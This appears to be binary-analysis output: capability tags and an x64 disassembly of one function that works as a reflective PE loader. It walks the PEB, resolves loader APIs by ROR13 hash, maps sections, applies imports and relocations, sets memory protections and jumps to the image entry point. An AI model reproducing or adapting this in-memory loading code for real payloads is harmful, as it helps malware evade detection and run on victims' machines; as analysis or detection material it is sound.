Function at 0x180006a4c
Capabilities:
Access peb ldr_data
Inspect section memory permissions
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe8
xor eax, eax
xor r14d, r14d
mov dword [rbp - 0x71], 0xd33d4aed
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x61], rax
lea rax, [rbp - 0x71]
mov qword [rbp - 0x11], rax
xor eax, eax
lea esi, [r14 + 4]
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
lea rax, [rbp - 0x59]
mov qword [rbp - 9], rax
lea eax, [r14 + 3]
mov r12d, r14d
mov dword [rbp - 0x3d], eax
xor eax, eax
mov r13d, r14d
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
lea rax, [rbp - 0x41]
mov qword [rbp - 1], rax
xor eax, eax
mov dword [rbp - 0x6d], 6
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
lea rax, [rbp - 0x29]
mov dword [rbp - 0x59], 0xbc3f4d89
mov dword [rbp - 0x55], 5
mov dword [rbp - 0x41], 0x534d8ae8
mov qword [rbp + 7], rax
mov dword [rbp - 0x29], 0x8169adc3
mov dword [rbp - 0x25], esi
mov r15d, r14d
mov qword [rsp + 0x48], r14
call fcn.180006a40
mov rbx, rax
lea edi, [rsi - 3]
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x180006b25
movsxd rax, dword [rbx + 0x3c]
lea rcx, [rax - 0x40]
cmp rcx, 0x3bf
ja 0x180006b25
cmp dword [rax + rbx], 0x4550
je 0x180006b2a
sub rbx, rdi
jmp 0x180006b01
mov rax, qword gs:[0x60]
mov qword [rsp + 0x40], rbx
mov r11d, 0x20
mov qword [rbp + 0x77], rax
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x77], rax
mov rdx, qword [rax + 0x20]
test rdx, rdx
je 0x180006c8a
mov r10d, 0xffff
mov r8, qword [rdx + 0x50]
mov rcx, r14
mov qword [rbp + 0x6f], r8
movzx r9d, word [rdx + 0x48]
ror ecx, 0xd
cmp byte [r8], 0x61
jb 0x180006b81
movzx eax, byte [r8]
sub eax, r11d
cdqe
jmp 0x180006b85
movzx eax, byte [r8]
add r8, rdi
add rcx, rax
mov qword [rbp + 0x6f], r8
add r9w, r10w
jne 0x180006b6d
cmp ecx, 0x6a4abc5b
jne 0x180006c59
mov r8, qword [rdx + 0x20]
mov r15d, 2
mov ebx, 0xffff
mov qword [rbp + 0x77], r8
movsxd rax, dword [r8 + 0x3c]
movzx esi, r15w
mov r14d, dword [rax + r8 + 0x88]
mov r11d, dword [r14 + r8 + 0x20]
mov edi, dword [r14 + r8 + 0x24]
add r11, r8
add rdi, r8
xor r10d, r10d
mov r9d, dword [r11]
mov ecx, r10d
add r9, r8
mov al, byte [r9]
ror ecx, 0xd
movsx eax, al
inc r9
add ecx, eax
mov al, byte [r9]
test al, al
jne 0x180006be3
cmp ecx, 0xec0e4e8e
je 0x180006c05
cmp ecx, 0x7c0dfcaa
jne 0x180006c38
mov eax, dword [r14 + r8 + 0x1c]
movzx r9d, word [rdi]
lea r10, [r8 + rax]
cmp ecx, 0xec0e4e8e
jne 0x180006c23
mov r12d, dword [r10 + r9*4]
add r12, r8
jmp 0x180006c32
cmp ecx, 0x7c0dfcaa
jne 0x180006c32
mov r13d, dword [r10 + r9*4]
add r13, r8
add si, bx
xor r10d, r10d
add r11, 4
add rdi, r15
test si, si
jne 0x180006bd7
mov r15, qword [rsp + 0x48]
xor r14d, r14d
mov r10d, ebx
lea edi, [r14 + 1]
lea r11d, [r14 + 0x20]
jmp 0x180006c6a
cmp ecx, 0x3cfa685d
jne 0x180006c6a
mov r15, qword [rdx + 0x20]
mov qword [rsp + 0x48], r15
test r12, r12
je 0x180006c74
test r13, r13
jne 0x180006c80
mov rdx, qword [rdx]
test rdx, rdx
jne 0x180006b5d
mov rbx, qword [rsp + 0x40]
mov esi, 4
lea rdx, [rbp - 0x11]
mov r8d, esi
mov rcx, r15
call fcn.180006510
test eax, eax
jne 0x180006ca4
xor eax, eax
jmp 0x180007090
movsxd rsi, dword [rbx + 0x3c]
mov dword [rsp + 0x30], 4
or r15, 0xffffffffffffffff
add rsi, rbx
lea r8, [rbp + 0x77]
lea rcx, [rbp - 0x71]
mov eax, dword [rsi + 0x50]
xor r9d, r9d
mov rdx, r15
mov qword [rbp - 0x79], rax
lea rax, [rbp - 0x79]
mov dword [rsp + 0x28], 0x3000
mov qword [rsp + 0x40], rsi
mov qword [rbp + 0x77], r14
mov qword [rsp + 0x20], rax
call fcn.1800066c4
test eax, eax
jne 0x180006c9d
lea r9, [rbp - 0x79]
lea r8, [rbp + 0x77]
lea rcx, [rbp - 0x29]
mov rdx, r15
mov dword [rsp + 0x20], edi
call fcn.1800067ac
mov ecx, dword [rsi + 0x54]
mov rdx, qword [rbp + 0x77]
mov rax, rbx
mov qword [rbp + 0x6f], rbx
test rcx, rcx
je 0x180006d35
mov al, byte [rax]
mov byte [rdx], al
mov rax, qword [rbp + 0x6f]
add rdx, rdi
add rax, rdi
mov qword [rbp + 0x6f], rax
sub rcx, rdi
jne 0x180006d1a
mov rdx, qword [rbp + 0x77]
movzx r10d, word [rsi + 6]
movzx eax, word [rsi + 0x14]
test r10, r10
je 0x180006d9e
lea r8, [rsi + 0x2c]
add r8, rax
mov ecx, dword [r8 - 8]
sub r10, rdi
add rcx, rdx
mov qword [rbp + 0x6f], rcx
mov r9d, dword [r8]
mov eax, dword [r8 - 4]
add r9, rbx
test rax, rax
je 0x180006d8e
sub rax, rdi
mov qword [rbp + 0x7f], rax
mov al, byte [r9]
add r9, rdi
mov byte [rcx], al
mov rcx, qword [rbp + 0x6f]
mov rax, qword [rbp + 0x7f]
add rcx, rdi
mov qword [rbp + 0x6f], rcx
test rax, rax
jne 0x180006d67
mov rdx, qword [rbp + 0x77]
sub rax, rdi
add r8, 0x28
mov qword [rbp + 0x7f], rax
test r10, r10
jne 0x180006d4a
lea rax, [rsi + 0x90]
mov ecx, 8
mov qword [rbp + 0x6f], rax
mov ebx, dword [rax]
add rbx, rdx
cmp dword [rbx], r14d
je 0x180006e71
mov ecx, dword [rbx + 0xc]
add rcx, rdx
call r12
mov rdx, qword [rbp + 0x77]
xor r15d, r15d
mov r14, rax
test rax, rax
je 0x180006e5d
mov eax, dword [rbx]
add rax, rdx
mov qword [rbp + 0x7f], rax
mov edi, dword [rbx + 0x10]
add rdi, rdx
cmp qword [rdi], r15
je 0x180006e5d
test rax, rax
je 0x180006e2b
mov r8, qword [rax]
movabs rax, 0x8000000000000000
test rax, r8
je 0x180006e2b
movsxd rax, dword [r14 + 0x3c]
movzx edx, r8w
mov ecx, dword [rax + r14 + 0x88]
mov eax, dword [rcx + r14 + 0x10]
mov ecx, dword [rcx + r14 + 0x1c]
add rcx, r14
sub rdx, rax
mov eax, dword [rcx + rdx*4]
add rax, r14
jmp 0x180006e3c
add rdx, qword [rdi]
mov rcx, r14
mov qword [rbp + 0x6f], rdx
add rdx, 2
call r13
mov qword [rdi], rax
mov rax, qword [rbp + 0x7f]
mov ecx, 8
add rdi, rcx
test rax, rax
je 0x180006e57
add rax, rcx
mov qword [rbp + 0x7f], rax
mov rdx, qword [rbp + 0x77]
jmp 0x180006de7
add rbx, 0x14
xor r14d, r14d
cmp dword [rbx], r14d
jne 0x180006dbc
lea ecx, [r14 + 8]
lea rax, [rsi + 0xb0]
mov r11, rdx
sub r11, qword [rsi + 0x30]
mov qword [rbp + 0x6f], rax
cmp dword [rax + 4], r14d
je 0x180006f65
mov r10d, dword [rax]
mov ebx, dword [rax + 4]
add r10, rdx
test rbx, rbx
je 0x180006f65
mov esi, 1
mov edi, 0xfff
lea r15d, [rsi + 1]
lea r12d, [rsi + 2]
cmp dword [r10 + 4], r14d
je 0x180006f60
mov r8d, dword [r10 + 4]
mov r9d, dword [r10]
lea rax, [r10 + 8]
sub r8, rcx
add r9, rdx
mov qword [rbp + 0x7f], rax
shr r8, 1
je 0x180006f49
mov edx, 1
mov rax, qword [rbp + 0x7f]
sub r8, rdx
mov qword [rbp + 0x6f], r8
movzx ecx, word [rax]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180006efe
and rcx, rdi
add qword [rcx + r9], r11
jmp 0x180006f31
cmp ax, r12w
jne 0x180006f0d
and rcx, rdi
add dword [rcx + r9], r11d
jmp 0x180006f31
cmp ax, dx
jne 0x180006f23
mov rax, r11
and rcx, rdi
shr rax, 0x10
add word [rcx + r9], ax
jmp 0x180006f31
cmp ax, r15w
jne 0x180006f35
and rcx, rdi
add word [rcx + r9], r11w
mov r8, qword [rbp + 0x6f]
add qword [rbp + 0x7f], r15
test r8, r8
jne 0x180006eda
mov rdx, qword [rbp + 0x77]
lea esi, [r8 + 1]
lea ecx, [rsi + 7]
sub r8, rsi
mov qword [rbp + 0x6f], r8
mov eax, dword [r10 + 4]
add r10, rax
sub rbx, rax
jne 0x180006eb1
mov rsi, qword [rsp + 0x40]
movzx edi, word [rsi + 6]
movzx eax, word [rsi + 0x14]
test rdi, rdi
je 0x180007067
lea rbx, [rsi + 0x3c]
mov r13d, 0x80000000
mov r12d, 0x40000000
mov esi, 1
mov r15d, 0x20000000
add rbx, rax
mov eax, dword [rbx - 0x18]
mov dword [rbp + 0x67], r14d
sub rdi, rsi
add rax, rdx
mov ecx, r14d
mov qword [rbp + 0x6f], rax
test dword [rbx], r13d
mov eax, 8
cmovne ecx, eax
mov eax, 2
mov dword [rbp + 0x67], ecx
test dword [rbx], r12d
cmovne ecx, eax
mov dword [rbp + 0x67], ecx
test dword [rbx], r13d
je 0x180006fd7
test dword [rbx], r12d
mov eax, 4
cmovne ecx, eax
mov dword [rbp + 0x67], ecx
test dword [rbx], r15d
mov eax, reloc.WS2_32.dll_recv
cmovne ecx, eax
mov dword [rbp + 0x67], ecx
test dword [rbx], r15d
je 0x180007023
test dword [rbx], r13d
mov eax, 0x80
cmovne ecx, eax
mov dword [rbp + 0x67], ecx
test dword [rbx], r15d
je 0x180007023
test dword [rbx], r12d
mov eax, 0x20
cmovne ecx, eax
mov dword [rbp + 0x67], ecx
test dword [rbx], r15d
je 0x180007023
test dword [rbx], r13d
je 0x180007023
test dword [rbx], r12d
mov eax, 0x40
cmovne ecx, eax
mov dword [rbp + 0x67], ecx
mov eax, dword [rbx - 0x14]
mov qword [rbp + 0x7f], rax
test rax, rax
je 0x180007055
lea rax, [rbp + 0x67]
lea r9, [rbp + 0x7f]
lea r8, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea rcx, [rbp - 0x59]
or rdx, 0xffffffffffffffff
call fcn.180006720
mov rdx, qword [rbp + 0x77]
add rbx, 0x28
test rdi, rdi
jne 0x180006f94
mov rsi, qword [rsp + 0x40]
mov ebx, dword [rsi + 0x28]
lea rcx, [rbp - 0x41]
xor r9d, r9d
add rbx, rdx
or rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.180006770
mov rcx, qword [rbp + 0x77]
xor r8d, r8d
lea edx, [r8 + 1]
call rbx
mov rax, rbx
add rsp, 0xe8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret